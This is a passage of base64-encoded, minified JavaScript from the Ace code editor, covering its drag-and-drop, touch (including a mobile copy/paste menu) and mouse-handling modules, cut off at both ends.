GUpe3ktLTtpZih5PD0wJiZoKXJldHVybiBMKCksYj1udWxsLGkucHJldmVudERlZmF1bHQoZSl9LHRoaXMub25Ecm9wPWZ1bmN0aW9uKGUpe2lmKCFnKXJldHVybjt2YXIgbj1lLmRhdGFUcmFuc2ZlcjtpZih3KXN3aXRjaChiKXtjYXNlIm1vdmUiOm0uY29udGFpbnMoZy5yb3csZy5jb2x1bW4pP209e3N0YXJ0OmcsZW5kOmd9Om09dC5tb3ZlVGV4dChtLGcpO2JyZWFrO2Nhc2UiY29weSI6bT10Lm1vdmVUZXh0KG0sZywhMCl9ZWxzZXt2YXIgcj1uLmdldERhdGEoIlRleHQiKTttPXtzdGFydDpnLGVuZDp0LnNlc3Npb24uaW5zZXJ0KGcscil9LHQuZm9jdXMoKSxiPW51bGx9cmV0dXJuIEwoKSxpLnByZXZlbnREZWZhdWx0KGUpfSxpLmFkZExpc3RlbmVyKGMsImRyYWdzdGFydCIsdGhpcy5vbkRyYWdTdGFydC5iaW5kKGUpLHQpLGkuYWRkTGlzdGVuZXIoYywiZHJhZ2VuZCIsdGhpcy5vbkRyYWdFbmQuYmluZChlKSx0KSxpLmFkZExpc3RlbmVyKGMsImRyYWdlbnRlciIsdGhpcy5vbkRyYWdFbnRlci5iaW5kKGUpLHQpLGkuYWRkTGlzdGVuZXIoYywiZHJhZ292ZXIiLHRoaXMub25EcmFnT3Zlci5iaW5kKGUpLHQpLGkuYWRkTGlzdGVuZXIoYywiZHJhZ2xlYXZlIix0aGlzLm9uRHJhZ0xlYXZlLmJpbmQoZSksdCksaS5hZGRMaXN0ZW5lcihjLCJkcm9wIix0aGlzLm9uRHJvcC5iaW5kKGUpLHQpO3ZhciBBPW51bGx9ZnVuY3Rpb24gbChlLHQsbixyKXtyZXR1cm4gTWF0aC5zcXJ0KE1hdGgucG93KG4tZSwyKStNYXRoLnBvdyhyLXQsMikpfXZhciByPWUoIi4uL2xpYi9kb20iKSxpPWUoIi4uL2xpYi9ldmVudCIpLHM9ZSgiLi4vbGliL3VzZXJhZ2VudCIpLG89MjAwLHU9MjAwLGE9NTsoZnVuY3Rpb24oKXt0aGlzLmRyYWdXYWl0PWZ1bmN0aW9uKCl7dmFyIGU9RGF0ZS5ub3coKS10aGlzLm1vdXNlZG93bkV2ZW50LnRpbWU7ZT50aGlzLmVkaXRvci5nZXREcmFnRGVsYXkoKSYmdGhpcy5zdGFydERyYWcoKX0sdGhpcy5kcmFnV2FpdEVuZD1mdW5jdGlvbigpe3ZhciBlPXRoaXMuZWRpdG9yLmNvbnRhaW5lcjtlLmRyYWdnYWJsZT0hMSx0aGlzLnN0YXJ0U2VsZWN0KHRoaXMubW91c2Vkb3duRXZlbnQuZ2V0RG9jdW1lbnRQb3NpdGlvbigpKSx0aGlzLnNlbGVjdEVuZCgpfSx0aGlzLmRyYWdSZWFkeUVuZD1mdW5jdGlvbihlKXt0aGlzLmVkaXRvci4kcmVzZXRDdXJzb3JTdHlsZSgpLHRoaXMuZWRpdG9yLnVuc2V0U3R5bGUoImFjZV9kcmFnZ2luZyIpLHRoaXMuZWRpdG9yLnJlbmRlcmVyLnNldEN1cnNvclN0eWxlKCIiKSx0aGlzLmRyYWdXYWl0RW5kKCl9LHRoaXMuc3RhcnREcmFnPWZ1bmN0aW9uKCl7dGhpcy5jYW5jZWxEcmFnPSExO3ZhciBlPXRoaXMuZWRpdG9yLHQ9ZS5jb250YWluZXI7dC5kcmFnZ2FibGU9ITAsZS5yZW5kZXJlci4kY3Vyc29yTGF5ZXIuc2V0QmxpbmtpbmcoITEpLGUuc2V0U3R5bGUoImFjZV9kcmFnZ2luZyIpO3ZhciBuPXMuaXNXaW4/ImRlZmF1bHQiOiJtb3ZlIjtlLnJlbmRlcmVyLnNldEN1cnNvclN0eWxlKG4pLHRoaXMuc2V0U3RhdGUoImRyYWdSZWFkeSIpfSx0aGlzLm9uTW91c2VEcmFnPWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMuZWRpdG9yLmNvbnRhaW5lcjtpZihzLmlzSUUmJnRoaXMuc3RhdGU9PSJkcmFnUmVhZHkiKXt2YXIgbj1sKHRoaXMubW91c2Vkb3duRXZlbnQueCx0aGlzLm1vdXNlZG93bkV2ZW50LnksdGhpcy54LHRoaXMueSk7bj4zJiZ0LmRyYWdEcm9wKCl9aWYodGhpcy5zdGF0ZT09PSJkcmFnV2FpdCIpe3ZhciBuPWwodGhpcy5tb3VzZWRvd25FdmVudC54LHRoaXMubW91c2Vkb3duRXZlbnQueSx0aGlzLngsdGhpcy55KTtuPjAmJih0LmRyYWdnYWJsZT0hMSx0aGlzLnN0YXJ0U2VsZWN0KHRoaXMubW91c2Vkb3duRXZlbnQuZ2V0RG9jdW1lbnRQb3NpdGlvbigpKSl9fSx0aGlzLm9uTW91c2VEb3duPWZ1bmN0aW9uKGUpe2lmKCF0aGlzLiRkcmFnRW5hYmxlZClyZXR1cm47dGhpcy5tb3VzZWRvd25FdmVudD1lO3ZhciB0PXRoaXMuZWRpdG9yLG49ZS5pblNlbGVjdGlvbigpLHI9ZS5nZXRCdXR0b24oKSxpPWUuZG9tRXZlbnQuZGV0YWlsfHwxO2lmKGk9PT0xJiZyPT09MCYmbil7aWYoZS5lZGl0b3IuaW5NdWx0aVNlbGVjdE1vZGUmJihlLmdldEFjY2VsS2V5KCl8fGUuZ2V0U2hpZnRLZXkoKSkpcmV0dXJuO3RoaXMubW91c2Vkb3duRXZlbnQudGltZT1EYXRlLm5vdygpO3ZhciBvPWUuZG9tRXZlbnQudGFyZ2V0fHxlLmRvbUV2ZW50LnNyY0VsZW1lbnQ7InVuc2VsZWN0YWJsZSJpbiBvJiYoby51bnNlbGVjdGFibGU9Im9uIik7aWYodC5nZXREcmFnRGVsYXkoKSl7aWYocy5pc1dlYktpdCl7dGhpcy5jYW5jZWxEcmFnPSEwO3ZhciB1PXQuY29udGFpbmVyO3UuZHJhZ2dhYmxlPSEwfXRoaXMuc2V0U3RhdGUoImRyYWdXYWl0Iil9ZWxzZSB0aGlzLnN0YXJ0RHJhZygpO3RoaXMuY2FwdHVyZU1vdXNlKGUsdGhpcy5vbk1vdXNlRHJhZy5iaW5kKHRoaXMpKSxlLmRlZmF1bHRQcmV2ZW50ZWQ9ITB9fX0pLmNhbGwoZi5wcm90b3R5cGUpLHQuRHJhZ2Ryb3BIYW5kbGVyPWZ9KSxkZWZpbmUoImFjZS9tb3VzZS90b3VjaF9oYW5kbGVyIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL21vdXNlL21vdXNlX2V2ZW50IiwiYWNlL2xpYi9ldmVudCIsImFjZS9saWIvZG9tIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuL21vdXNlX2V2ZW50IikuTW91c2VFdmVudCxpPWUoIi4uL2xpYi9ldmVudCIpLHM9ZSgiLi4vbGliL2RvbSIpO3QuYWRkVG91Y2hMaXN0ZW5lcnM9ZnVuY3Rpb24oZSx0KXtmdW5jdGlvbiBiKCl7dmFyIGU9d2luZG93Lm5hdmlnYXRvciYmd2luZG93Lm5hdmlnYXRvci5jbGlwYm9hcmQscj0hMSxpPWZ1bmN0aW9uKCl7dmFyIG49dC5nZXRDb3B5VGV4dCgpLGk9dC5zZXNzaW9uLmdldFVuZG9NYW5hZ2VyKCkuaGFzVW5kbygpO3kucmVwbGFjZUNoaWxkKHMuYnVpbGREb20ocj9bInNwYW4iLCFuJiZbInNwYW4iLHsiY2xhc3MiOiJhY2VfbW9iaWxlLWJ1dHRvbiIsYWN0aW9uOiJzZWxlY3RhbGwifSwiU2VsZWN0IEFsbCJdLG4mJlsic3BhbiIseyJjbGFzcyI6ImFjZV9tb2JpbGUtYnV0dG9uIixhY3Rpb246ImNvcHkifSwiQ29weSJdLG4mJlsic3BhbiIseyJjbGFzcyI6ImFjZV9tb2JpbGUtYnV0dG9uIixhY3Rpb246ImN1dCJ9LCJDdXQiXSxlJiZbInNwYW4iLHsiY2xhc3MiOiJhY2VfbW9iaWxlLWJ1dHRvbiIsYWN0aW9uOiJwYXN0ZSJ9LCJQYXN0ZSJdLGkmJlsic3BhbiIseyJjbGFzcyI6ImFjZV9tb2JpbGUtYnV0dG9uIixhY3Rpb246InVuZG8ifSwiVW5kbyJdLFsic3BhbiIseyJjbGFzcyI6ImFjZV9tb2JpbGUtYnV0dG9uIixhY3Rpb246ImZpbmQifSwiRmluZCJdLFsic3BhbiIseyJjbGFzcyI6ImFjZV9tb2JpbGUtYnV0dG9uIixhY3Rpb246Im9wZW5Db21tYW5kUGFsbGV0ZSJ9LCJQYWxldHRlIl1dOlsic3BhbiJdKSx5LmZpcnN0Q2hpbGQpfSxvPWZ1bmN0aW9uKG4pe3ZhciBzPW4udGFyZ2V0LmdldEF0dHJpYnV0ZSgiYWN0aW9uIik7aWYocz09Im1vcmUifHwhcilyZXR1cm4gcj0hcixpKCk7aWYocz09InBhc3RlIillLnJlYWRUZXh0KCkudGhlbihmdW5jdGlvbihlKXt0LmV4ZWNDb21tYW5kKHMsZSl9KTtlbHNlIGlmKHMpe2lmKHM9PSJjdXQifHxzPT0iY29weSIpZT9lLndyaXRlVGV4dCh0LmdldENvcHlUZXh0KCkpOmRvY3VtZW50LmV4ZWNDb21tYW5kKCJjb3B5Iik7dC5leGVjQ29tbWFuZChzKX15LmZpcnN0Q2hpbGQuc3R5bGUuZGlzcGxheT0ibm9uZSIscj0hMSxzIT0ib3BlbkNvbW1hbmRQYWxsZXRlIiYmdC5mb2N1cygpfTt5PXMuYnVpbGREb20oWyJkaXYiLHsiY2xhc3MiOiJhY2VfbW9iaWxlLW1lbnUiLG9udG91Y2hzdGFydDpmdW5jdGlvbihlKXtuPSJtZW51IixlLnN0b3BQcm9wYWdhdGlvbigpLGUucHJldmVudERlZmF1bHQoKSx0LnRleHRJbnB1dC5mb2N1cygpfSxvbnRvdWNoZW5kOmZ1bmN0aW9uKGUpe2Uuc3RvcFByb3BhZ2F0aW9uKCksZS5wcmV2ZW50RGVmYXVsdCgpLG8oZSl9LG9uY2xpY2s6b30sWyJzcGFuIl0sWyJzcGFuIix7ImNsYXNzIjoiYWNlX21vYmlsZS1idXR0b24iLGFjdGlvbjoibW9yZSJ9LCIuLi4iXV0sdC5jb250YWluZXIpfWZ1bmN0aW9uIHcoKXt5fHxiKCk7dmFyIGU9dC5zZWxlY3Rpb24uY3Vyc29yLG49dC5yZW5kZXJlci50ZXh0VG9TY3JlZW5Db29yZGluYXRlcyhlLnJvdyxlLmNvbHVtbikscj10LnJlbmRlcmVyLnRleHRUb1NjcmVlbkNvb3JkaW5hdGVzKDAsMCkucGFnZVgsaT10LnJlbmRlcmVyLnNjcm9sbExlZnQscz10LmNvbnRhaW5lci5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKTt5LnN0eWxlLnRvcD1uLnBhZ2VZLXMudG9wLTMrInB4IixuLnBhZ2VYLXMubGVmdDxzLndpZHRoLTcwPyh5LnN0eWxlLmxlZnQ9IiIseS5zdHlsZS5yaWdodD0iMTBweCIpOih5LnN0eWxlLnJpZ2h0PSIiLHkuc3R5bGUubGVmdD1yK2ktcy5sZWZ0KyJweCIpLHkuc3R5bGUuZGlzcGxheT0iIix5LmZpcnN0Q2hpbGQuc3R5bGUuZGlzcGxheT0ibm9uZSIsdC5vbigiaW5wdXQiLEUpfWZ1bmN0aW9uIEUoZSl7eSYmKHkuc3R5bGUuZGlzcGxheT0ibm9uZSIpLHQub2ZmKCJpbnB1dCIsRSl9ZnVuY3Rpb24gUygpe2w9bnVsbCxjbGVhclRpbWVvdXQobCk7dmFyIGU9dC5zZWxlY3Rpb24uZ2V0UmFuZ2UoKSxyPWUuY29udGFpbnMocC5yb3cscC5jb2x1bW4pO2lmKGUuaXNFbXB0eSgpfHwhcil0LnNlbGVjdGlvbi5tb3ZlVG9Qb3NpdGlvbihwKSx0LnNlbGVjdGlvbi5zZWxlY3RXb3JkKCk7bj0id2FpdCIsdygpfWZ1bmN0aW9uIHgoKXtsPW51bGwsY2xlYXJUaW1lb3V0KGwpLHQuc2VsZWN0aW9uLm1vdmVUb1Bvc2l0aW9uKHApO3ZhciBlPWQ+PTI/dC5zZWxlY3Rpb24uZ2V0TGluZVJhbmdlKHAucm93KTp0LnNlc3Npb24uZ2V0QnJhY2tldFJhbmdlKHApO2UmJiFlLmlzRW1wdHkoKT90LnNlbGVjdGlvbi5zZXRSYW5nZShlKTp0LnNlbGVjdGlvbi5zZWxlY3RXb3JkKCksbj0id2FpdCJ9ZnVuY3Rpb24gVCgpe2grPTYwLGM9c2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXtoLS08PTAmJihjbGVhckludGVydmFsKGMpLGM9bnVsbCksTWF0aC5hYnModik8LjAxJiYodj0wKSxNYXRoLmFicyhtKTwuMDEmJihtPTApLGg8MjAmJih2PS45KnYpLGg8MjAmJihtPS45Km0pO3ZhciBlPXQuc2Vzc2lvbi5nZXRTY3JvbGxUb3AoKTt0LnJlbmRlcmVyLnNjcm9sbEJ5KDEwKnYsMTAqbSksZT09dC5zZXNzaW9uLmdldFNjcm9sbFRvcCgpJiYoaD0wKX0sMTApfXZhciBuPSJzY3JvbGwiLG8sdSxhLGYsbCxjLGg9MCxwLGQ9MCx2PTAsbT0wLGcseTtpLmFkZExpc3RlbmVyKGUsImNvbnRleHRtZW51IixmdW5jdGlvbihlKXtpZighZylyZXR1cm47dmFyIG49dC50ZXh0SW5wdXQuZ2V0RWxlbWVudCgpO24uZm9jdXMoKX0sdCksaS5hZGRMaXN0ZW5lcihlLCJ0b3VjaHN0YXJ0IixmdW5jdGlvbihlKXt2YXIgaT1lLnRvdWNoZXM7aWYobHx8aS5sZW5ndGg+MSl7Y2xlYXJUaW1lb3V0KGwpLGw9bnVsbCxhPS0xLG49Inpvb20iO3JldHVybn1nPXQuJG1vdXNlSGFuZGxlci5pc01vdXNlUHJlc3NlZD0hMDt2YXIgcz10LnJlbmRlcmVyLmxheWVyQ29uZmlnLmxpbmVIZWlnaHQsYz10LnJlbmRlcmVyLmxheWVyQ29uZmlnLmxpbmVIZWlnaHQseT1lLnRpbWVTdGFtcDtmPXk7dmFyIGI9aVswXSx3PWIuY2xpZW50WCxFPWIuY2xpZW50WTtNYXRoLmFicyhvLXcpK01hdGguYWJzKHUtRSk+cyYmKGE9LTEpLG89ZS5jbGllbnRYPXcsdT1lLmNsaWVudFk9RSx2PW09MDt2YXIgVD1uZXcgcihlLHQpO3A9VC5nZXREb2N1bWVudFBvc2l0aW9uKCk7aWYoeS1hPDUwMCYmaS5sZW5ndGg9PTEmJiFoKWQrKyxlLnByZXZlbnREZWZhdWx0KCksZS5idXR0b249MCx4KCk7ZWxzZXtkPTA7dmFyIE49dC5zZWxlY3Rpb24uY3Vyc29yLEM9dC5zZWxlY3Rpb24uaXNFbXB0eSgpP046dC5zZWxlY3Rpb24uYW5jaG9yLGs9dC5yZW5kZXJlci4kY3Vyc29yTGF5ZXIuZ2V0UGl4ZWxQb3NpdGlvbihOLCEwKSxMPXQucmVuZGVyZXIuJGN1cnNvckxheWVyLmdldFBpeGVsUG9zaXRpb24oQywhMCksQT10LnJlbmRlcmVyLnNjcm9sbGVyLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpLE89dC5yZW5kZXJlci5sYXllckNvbmZpZy5vZmZzZXQsTT10LnJlbmRlcmVyLnNjcm9sbExlZnQsXz1mdW5jdGlvbihlLHQpe3JldHVybiBlLz1jLHQ9dC9zLS43NSxlKmUrdCp0fTtpZihlLmNsaWVudFg8QS5sZWZ0KXtuPSJ6b29tIjtyZXR1cm59dmFyIEQ9XyhlLmNsaWVudFgtQS5sZWZ0LWsubGVmdCtNLGUuY2xpZW50WS1BLnRvcC1rLnRvcCtPKSxQPV8oZS5jbGllbnRYLUEubGVmdC1MLmxlZnQrTSxlLmNsaWVudFktQS50b3AtTC50b3ArTyk7RDwzLjUmJlA8My41JiYobj1EPlA/ImN1cnNvciI6ImFuY2hvciIpLFA8My41P249ImFuY2hvciI6RDwzLjU/bj0iY3Vyc29yIjpuPSJzY3JvbGwiLGw9c2V0VGltZW91dChTLDQ1MCl9YT15fSx0KSxpLmFkZExpc3RlbmVyKGUsInRvdWNoZW5kIixmdW5jdGlvbihlKXtnPXQuJG1vdXNlSGFuZGxlci5pc01vdXNlUHJlc3NlZD0hMSxjJiZjbGVhckludGVydmFsKGMpLG49PSJ6b29tIj8obj0iIixoPTApOmw/KHQuc2VsZWN0aW9uLm1vdmVUb1Bvc2l0aW9uKHApLGg9MCx3KCkpOm49PSJzY3JvbGwiPyhUKCksRSgpKTp3KCksY2xlYXJUaW1lb3V0KGwpLGw9bnVsbH0sdCksaS5hZGRMaXN0ZW5lcihlLCJ0b3VjaG1vdmUiLGZ1bmN0aW9uKGUpe2wmJihjbGVhclRpbWVvdXQobCksbD1udWxsKTt2YXIgaT1lLnRvdWNoZXM7aWYoaS5sZW5ndGg+MXx8bj09Inpvb20iKXJldHVybjt2YXIgcz1pWzBdLGE9by1zLmNsaWVudFgsYz11LXMuY2xpZW50WTtpZihuPT0id2FpdCIpe2lmKCEoYSphK2MqYz40KSlyZXR1cm4gZS5wcmV2ZW50RGVmYXVsdCgpO249ImN1cnNvciJ9bz1zLmNsaWVudFgsdT1zLmNsaWVudFksZS5jbGllbnRYPXMuY2xpZW50WCxlLmNsaWVudFk9cy5jbGllbnRZO3ZhciBoPWUudGltZVN0YW1wLHA9aC1mO2Y9aDtpZihuPT0ic2Nyb2xsIil7dmFyIGQ9bmV3IHIoZSx0KTtkLnNwZWVkPTEsZC53aGVlbFg9YSxkLndoZWVsWT1jLDEwKk1hdGguYWJzKGEpPE1hdGguYWJzKGMpJiYoYT0wKSwxMCpNYXRoLmFicyhjKTxNYXRoLmFicyhhKSYmKGM9MCkscCE9MCYmKHY9YS9wLG09Yy9wKSx0Ll9lbWl0KCJtb3VzZXdoZWVsIixkKSxkLnByb3BhZ2F0aW9uU3RvcHBlZHx8KHY9bT0wKX1lbHNle3ZhciBnPW5ldyByKGUsdCkseT1nLmdldERvY3VtZW50UG9zaXRpb24oKTtuPT0iY3Vyc29yIj90LnNlbGVjdGlvbi5tb3ZlQ3Vyc29yVG9Qb3NpdGlvbih5KTpuPT0iYW5jaG9yIiYmdC5zZWxlY3Rpb24uc2V0U2VsZWN0aW9uQW5jaG9yKHkucm93LHkuY29sdW1uKSx0LnJlbmRlcmVyLnNjcm9sbEN1cnNvckludG9WaWV3KHkpLGUucHJldmVudERlZmF1bHQoKX19LHQpfX0pLGRlZmluZSgiYWNlL21vdXNlL21vdXNlX2hhbmRsZXIiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL2V2ZW50IiwiYWNlL2xpYi91c2VyYWdlbnQiLCJhY2UvbW91c2UvZGVmYXVsdF9oYW5kbGVycyIsImFjZS9tb3VzZS9kZWZhdWx0X2d1dHRlcl9oYW5kbGVyIiwiYWNlL21vdXNlL21vdXNlX2V2ZW50IiwiYWNlL21vdXNlL2RyYWdkcm9wX2hhbmRsZXIiLCJhY2UvbW91c2UvdG91Y2hfaGFuZGxlciIsImFjZS9jb25maWciXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO3ZhciByPWUoIi4uL2xpYi9ldmVudCIpLGk9ZSgiLi4vbGliL3VzZXJhZ2VudCIpLHM9ZSgiLi9kZWZhdWx0X2hhbmRsZXJzIikuRGVmYXVsdEhhbmRsZXJzLG89ZSgiLi9kZWZhdWx0X2d1dHRlcl9oYW5kbGVyIikuR3V0dGVySGFuZGxlcix1PWUoIi4vbW91c2VfZXZlbnQiKS5Nb3VzZUV2ZW50LGE9ZSgiLi9kcmFnZHJvcF9oYW5kbGVyIikuRHJhZ2Ryb3BIYW5kbGVyLGY9ZSgiLi90b3VjaF9oYW5kbGVyIikuYWRkVG91Y2hMaXN0ZW5lcnMsbD1lKCIuLi9jb25maWciKSxjPWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXM7dGhpcy5lZGl0b3I9ZSxuZXcgcyh0aGlzKSxuZXcgbyh0aGlzKSxuZXcgYSh0aGlzKTt2YXIgbj1mdW5jdGlvbih0KXt2YXIgbj0hZG9jdW1lbnQuaGFzRm9jdXN8fCFkb2N1bWVudC5oYXNGb2N1cygpfHwhZS5pc0ZvY3VzZWQoKSYmZG9jdW1lbnQuYWN0aXZlRWxlbWVudD09KGUudGV4dElucHV0JiZlLnRleHRJbnB1dC5nZXRFbGVtZW50KCkpO24mJndpbmRvdy5mb2N1cygpLGUuZm9jdXMoKSxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZS5pc0ZvY3VzZWQoKXx8ZS5mb2N1cygpfSl9LHU9ZS5yZW5kZXJlci5nZXRNb3VzZUV2ZW50VGFyZ2V0KCk7ci5hZGRMaXN0ZW5lcih1LCJjbGljayIsdGhpcy5vbk1vdXNlRXZlbnQuYmluZCh0aGlzLCJjbGljayIpLGUpLHIuYWRkTGlzdGVuZXIodSwibW91c2Vtb3ZlIix0aGlzLm9uTW91c2VNb3ZlLmJpbmQodGhpcywibW91c2Vtb3ZlIiksZSksci5hZGRNdWx0aU1vdXNlRG93bkxpc3RlbmVyKFt1LGUucmVuZGVyZXIuc2Nyb2xsQmFyViYmZS5yZW5kZXJlci5zY3JvbGxCYXJWLmlubmVyLGUucmVuZGVyZXIuc2Nyb2xsQmFySCYmZS5yZW5kZXJlci5zY3JvbGxCYXJILmlubmVyLGUudGV4dElucHV0JiZlLnRleHRJbnB1dC5nZXRFbGVtZW50KCldLmZpbHRlcihCb29sZWFuKSxbNDAwLDMwMCwyNTBdLHRoaXMsIm9uTW91c2VFdmVudCIsZSksci5hZGRNb3VzZVdoZWVsTGlzdGVuZXIoZS5jb250YWluZXIsdGhpcy5vbk1vdXNlV2hlZWwuYmluZCh0aGlzLCJtb3VzZXdoZWVsIiksZSksZihlLmNvbnRhaW5lcixlKTt2YXIgbD1lLnJlbmRlcmVyLiRndXR0ZXI7ci5hZGRMaXN0ZW5lcihsLCJtb3VzZWRvd24iLHRoaXMub25Nb3VzZUV2ZW50LmJpbmQodGhpcywiZ3V0dGVybW91c2Vkb3duIiksZSksci5hZGRMaXN0ZW5lcihsLCJjbGljayIsdGhpcy5vbk1vdXNlRXZlbnQuYmluZCh0aGlzLCJndXR0ZXJjbGljayIpLGUpLHIuYWRkTGlzdGVuZXIobCwiZGJsY2xpY2siLHRoaXMub25Nb3VzZUV2ZW50LmJpbmQodGhpcywiZ3V0dGVyZGJsY2xpY2siKSxlKSxyLmFkZExpc3RlbmVyKGwsIm1vdXNlbW92ZSIsdGhpcy5vbk1vdXNlRXZlbnQuYmluZCh0aGlzLCJndXR0ZXJtb3VzZW1vdmUiKSxlKSxyLmFkZExpc3RlbmVyKHUsIm1vdXNlZG93biIsbixlKSxyLmFkZExpc3RlbmVyKGwsIm1vdXNlZG93biIsbixlKSxpLmlzSUUmJmUucmVuZGVyZXIuc2Nyb2xsQmFyViYmKHIuYWRkTGlzdGVuZXIoZS5yZW5kZXJlci5zY3JvbGxCYXJWLmVsZW1lbnQsIm1vdXNlZG93biIsbixlKSxyLmFkZExpc3RlbmVyKGUucmVuZGVyZXIuc2Nyb2xsQmFySC5lbGVtZW50LCJtb3VzZWRvd24iLG4sZSkpLGUub24oIm1vdXNlbW92ZSIsZnVuY3Rpb24obil7aWYodC5zdGF0ZXx8dC4kZHJhZ0RlbGF5fHwhdC4kZHJhZ0VuYWJsZWQpcmV0dXJuO3ZhciByPWUucmVuZGVyZXIuc2NyZWVuVG9UZXh0Q29vcmRpbmF0ZXMobi54LG4ueSksaT1lLnNlc3Npb24uc2VsZWN0aW9uLmdldFJhbmdlKCkscz1lLnJlbmRlcmVyOyFpLmlzRW1wdHkoKSYmaS5pbnNpZGVTdGFydChyLnJvdyxyLmNvbHVtbik/cy5zZXRDdXJzb3JTdHlsZSgiZGVmYXVsdCIpOnMuc2V0Q3Vyc29yU3R5bGUoIiIpfSxlKX07KGZ1bmN0aW9uKCl7dGhpcy5vbk1vdXNlRXZlbnQ9ZnVuY3Rpb24oZSx0KXtpZighdGhpcy5lZGl0b3Iuc2Vzc2lvbilyZXR1cm47dGhpcy5lZGl0b3IuX2VtaXQoZSxuZXcgdSh0LHRoaXMuZWRpdG9yKSl9LHRoaXMub25Nb3VzZU1vdmU9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLmVkaXRvci5fZXZlbnRSZWdpc3RyeSYmdGhpcy5lZGl0b3IuX2V2ZW50UmVnaXN0cnkubW91c2Vtb3ZlO2lmKCFufHwhbi5sZW5ndGgpcmV0dXJuO3RoaXMuZWRpdG9yLl9lbWl0KGUsbmV3IHUodCx0aGlzLmVkaXRvcikpfSx0aGlzLm9uTW91c2VXaGVlbD1mdW5jdGlvbihlLHQpe3ZhciBuPW5ldyB1KHQsdGhpcy5lZGl0b3IpO24uc3BlZWQ9dGhpcy4kc2Nyb2xsU3BlZWQqMixuLndoZWVsWD10LndoZWVsWCxuLndoZWVsWT10LndoZWVsWSx0aGlzLmVkaXRvci5fZW1pdChlLG4pfSx0aGlzLnNldFN0YXRlPWZ1bmN0aW9uKGUpe3RoaXMuc3RhdGU9ZX0sdGhpcy5jYXB0dXJlTW91c2U9ZnVuY3Rpb24oZSx0KXt0aGlzLng9ZS54LHRoaXMueT1lLnksdGhpcy5pc01vdXNlUHJlc3NlZD0hMDt2YXIgbj10aGlzLmVkaXRvcixzPXRoaXMuZWRpdG9yLnJlbmRlcmVyO3MuJGlzTW91c2VQcmVzc2VkPSEwO3ZhciBvPXRoaXMsYT1mdW5jdGlvbihlKXtpZighZSlyZXR1cm47aWYoaS5pc1dlYktpdCYmIWUud2hpY2gmJm8ucmVsZWFzZU1vdXNlKXJldHVybiBvLnJlbGVhc2VNb3VzZSgpO28ueD1lLmNsaWVudFgsby55PWUuY2xpZW50WSx0JiZ0KGUpLG8ubW91c2VFdmVudD1uZXcgdShlLG8uZWRpdG9yKSxvLiRtb3VzZU1vdmVkPSEwfSxmPWZ1bmN0aW9uKGUpe24ub2ZmKCJiZWZvcmVFbmRPcGVyYXRpb24iLGMpLGNsZWFySW50ZXJ2YWwoaCksbi5zZXNzaW9uJiZsKCksb1tvLnN0YXRlKyJFbmQiXSYmb1tvLnN0YXRlKyJFbmQiXShlKSxvLnN0YXRlPSIiLG8uaXNNb3VzZVByZXNzZWQ9cy4kaXNNb3VzZVByZXNzZWQ9ITEscy4ka2VlcFRleHRBcmVhQXRDdXJzb3ImJnMuJG1vdmVUZXh0QXJlYVRvQ3Vyc29yKCksby4kb25DYXB0dXJlTW91c2VNb3ZlPW8ucmVsZWFzZU1vdXNlPW51bGwsZSYmby5vbk1vdXNlRXZlbnQoIm1vdXNldXAiLGUpLG4uZW5kT3BlcmF0aW9uKCl9LGw9ZnVuY3Rpb24oKXtvW28uc3RhdGVdJiZvW28uc3RhdGVdKCksby4kbW91c2VNb3ZlZD0hMX07aWYoaS5pc09sZElFJiZlLmRvbUV2ZW50LnR5cGU9PSJkYmxjbGljayIpcmV0dXJuIHNldFRpbWVvdXQoZnVuY3Rpb24oKXtmKGUpfSk7dmFyIGM9ZnVuY3Rpb24oZSl7aWYoIW8ucmVsZWFzZU1vdXNlKXJldHVybjtuLmN1ck9wLmNvbW1hbmQubmFtZSYmbi5jdXJPcC5zZWxlY3Rpb25DaGFuZ2VkJiYob1tvLnN0YXRlKyJFbmQiXSYmb1tvLnN0YXRlKyJFbmQiXSgpLG8uc3RhdGU9IiIsby5yZWxlYXNlTW91c2UoKSl9O24ub24oImJlZm9yZUVuZE9wZXJhdGlvbiIsYyksbi5zdGFydE9wZXJhdGlvbih7Y29tbWFuZDp7bmFtZToibW91c2UifX0pLG8uJG9uQ2FwdHVyZU1vdXNlTW92ZT1hLG8ucmVsZWFzZU1vdXNlPXIuY2FwdHVyZSh0aGlzLmVkaXRvci5jb250YWluZXIsYSxmKTt2YXIgaD1zZXRJbnRlcnZhbChsLDIwKX0sdGhpcy5yZWxlYXNlTW91c2U9bnVsbCx0aGlzLmNhbmNlbENvbnRleHRNZW51PWZ1bmN0aW9uKCl7dmFyIGU9ZnVuY3Rpb24odCl7aWYodCYmdC5kb21FdmVudCYmdC5kb21FdmVudC50eXBlIT0iY29udGV4dG1lbnUiKXJldHVybjt0aGlzLmVkaXRvci5vZmYoIm5hdGl2ZWNvbnRleHRtZW51IixlKSx0JiZ0LmRvbUV2ZW50JiZyLnN0b3BFdmVudCh0LmRvbUV2ZW50KX0uYmluZCh0aGlzKTtzZXRUaW1lb3V0KGUsMTApLHRoaXMuZWRpdG9yLm9uKCJuYXRpdmVjb250ZXh0bWVudSIsZSl9LHRoaXMuZGVzdHJveT1mdW5jdGlvbigpe3RoaXMucmVsZWFzZU1vdXNlJiZ0aGlzLnJlbGVhc2VNb3VzZSgpfX0pLmNhbGwoYy5wcm90b3R5cGUpLGwuZGVmaW5lT3B0aW9ucyhjLnByb3RvdHlwZSwibW91c2VIYW5kbGVyIix7c2Nyb2xsU3BlZWQ6e2luaXRpYWxWYWx1ZToyfSxkcmFnRGVsYXk6e2luaXRpYWxWYWx1ZTppLmlzTWFjPzE1MDowfSxkcmFnRW5hYmxlZDp7aW5pdGlhbFZhbHVlOiEwfSxmb2N1c1RpbWVvdXQ6e2luaXRpYWxWYWx1ZTowfSx0b29sdGlwRm9sbG93c01vdXNlOntpbml0aWFsVmFsdWU6ITB9fSksdC5Nb3VzZUhhbmRsZXI9Y30pLGRlZmluZSgiYWNlL21vdXNlL2ZvbGRfaGFuZGxlciIsWyJyZXF1aXJlIiwi